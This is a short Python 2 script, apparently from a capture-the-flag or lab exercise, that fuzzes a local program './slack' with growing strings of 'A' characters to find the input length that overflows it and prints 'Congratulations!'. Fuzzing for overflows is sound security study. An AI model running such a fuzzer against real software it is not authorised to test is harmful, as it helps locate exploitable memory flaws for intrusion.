enjoy

fuzzer_overflow.py

import subprocess

def fuzz_overflow(cmd,rng = 1*1024*1024 ):
    for payload in xrange (1, rng):
        payload = "A" * payload
        try:
            output = subprocess.check_output([cmd, '%s' % payload ])
        except:
            output = ""
            print "Overflow occoured"
        if output.startswith("Congratulations!"):
            return payload

if __name__=='__main__':
    print fuzz_overflow("./slack")